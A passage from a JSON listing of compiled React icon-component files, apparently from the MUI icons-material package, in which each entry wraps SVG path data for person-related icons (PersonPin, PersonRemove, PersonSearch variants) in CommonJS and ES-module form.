    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3v18h6l3 3 3-3h6zm-9 3.3c1.49 0 2.7 1.21 2.7 2.7s-1.21 2.7-2.7 2.7S9.3 9.49 9.3 8s1.21-2.7 2.7-2.7M18 16H6v-.9c0-2 4-3.1 6-3.1s6 1.1 6 3.1z\"\n}), 'PersonPinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.83 18 .59.59L12 20.17l1.59-1.59.58-.58H19V4H5v14zM12 5c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M6 15.58C6 13.08 9.97 12 12 12s6 1.08 6 3.58V17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9 20 3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2zM5 4h14v14h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5zm7 7c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V17h12zM8.48 15c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1z\"\n}, \"1\")], 'PersonPinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonPinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.83 18 .59.59L12 20.17l1.59-1.59.58-.58H19V4H5v14zM12 5c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M6 15.58C6 13.08 9.97 12 12 12s6 1.08 6 3.58V17H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m9 20 3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2zM5 4h14v14h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5zm7 7c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m6 8.58c0-2.5-3.97-3.58-6-3.58s-6 1.08-6 3.58V17h12zM8.48 15c.74-.51 2.23-1 3.52-1s2.78.49 3.52 1z\"\n}, \"1\")], 'PersonPinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemove.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemove.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemove');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemoveAlt1');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemoveAlt1');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}), 'PersonRemoveAlt1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}), 'PersonRemoveAlt1Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4M2 18v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4s-8 1.34-8 4m16-8h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'PersonRemoveAlt1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4M2 18v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4s-8 1.34-8 4m16-8h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'PersonRemoveAlt1Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemoveAlt1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemoveAlt1Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16c2.69 0 5.77 1.28 6 2H4c.2-.71 3.3-2 6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}, \"2\")], 'PersonRemoveAlt1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveAlt1TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16c2.69 0 5.77 1.28 6 2H4c.2-.71 3.3-2 6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}, \"2\")], 'PersonRemoveAlt1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}), 'PersonRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}), 'PersonRemoveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4M2 18v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4s-8 1.34-8 4m16-8h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'PersonRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4M2 18v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4s-8 1.34-8 4m16-8h4c.55 0 1 .45 1 1s-.45 1-1 1h-4c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'PersonRemoveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m3 2v2h6v-2zM2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4\"\n}), 'PersonRemoveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16c2.69 0 5.77 1.28 6 2H4c.2-.71 3.3-2 6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}, \"2\")], 'PersonRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRemoveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16c2.69 0 5.77 1.28 6 2H4c.2-.71 3.3-2 6-2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8c0-2.21-1.79-4-4-4S6 5.79 6 8s1.79 4 4 4 4-1.79 4-4m-2 0c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2M2 18v2h16v-2c0-2.66-5.33-4-8-4s-8 1.34-8 4m2 0c.2-.71 3.3-2 6-2 2.69 0 5.77 1.28 6 2zm13-8h6v2h-6z\"\n}, \"2\")], 'PersonRemoveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 2c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4\"\n}), 'PersonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0 2c-2.67 0-8 1.34-8 4v1c0 .55.45 1 1 1h14c.55 0 1-.45 1-1v-1c0-2.66-5.33-4-8-4\"\n}), 'PersonRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearch.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.35 14.01C7.62 13.91 2 15.27 2 18v2h9.54c-2.47-2.76-1.23-5.89-1.19-5.99m9.08 4.01c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59zM16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PersonSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearch.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.35 14.01C7.62 13.91 2 15.27 2 18v2h9.54c-2.47-2.76-1.23-5.89-1.19-5.99m9.08 4.01c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59zM16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PersonSearch');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M4 18c.22-.72 3.31-2 6-2 0-.7.13-1.37.35-1.99C7.62 13.91 2 15.27 2 18v2h9.54c-.52-.58-.93-1.25-1.19-2zm15.43.02c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59c-1.5-1.5-.79-.8-2.57-2.57M16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'PersonSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 12c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4 1.79 4 4 4m0-6c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2M4 18c.22-.72 3.31-2 6-2 0-.7.13-1.37.35-1.99C7.62 13.91 2 15.27 2 18v2h9.54c-.52-.58-.93-1.25-1.19-2zm15.43.02c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59c-1.5-1.5-.79-.8-2.57-2.57M16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}), 'PersonSearchOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.35 14.01C7.62 13.91 2 15.27 2 18v1c0 .55.45 1 1 1h8.54c-2.47-2.76-1.23-5.89-1.19-5.99m9.08 4.01c.47-.8.7-1.77.48-2.82-.34-1.64-1.72-2.95-3.38-3.16-2.63-.34-4.85 1.87-4.5 4.5.22 1.66 1.52 3.04 3.16 3.38 1.05.22 2.02-.01 2.82-.48l1.86 1.86c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PersonSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.35 14.01C7.62 13.91 2 15.27 2 18v1c0 .55.45 1 1 1h8.54c-2.47-2.76-1.23-5.89-1.19-5.99m9.08 4.01c.47-.8.7-1.77.48-2.82-.34-1.64-1.72-2.95-3.38-3.16-2.63-.34-4.85 1.87-4.5 4.5.22 1.66 1.52 3.04 3.16 3.38 1.05.22 2.02-.01 2.82-.48l1.86 1.86c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zM16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PersonSearchRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10\",\n  cy: \"8\",\n  r: \"4\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.35 14.01C7.62 13.91 2 15.27 2 18v2h9.54c-2.47-2.76-1.23-5.89-1.19-5.99m9.08 4.01c.36-.59.57-1.28.57-2.02 0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4c.74 0 1.43-.22 2.02-.57L20.59 22 22 20.59zM16 18c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"1\")], 'PersonSearchSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PersonSearchSharp.mjs",
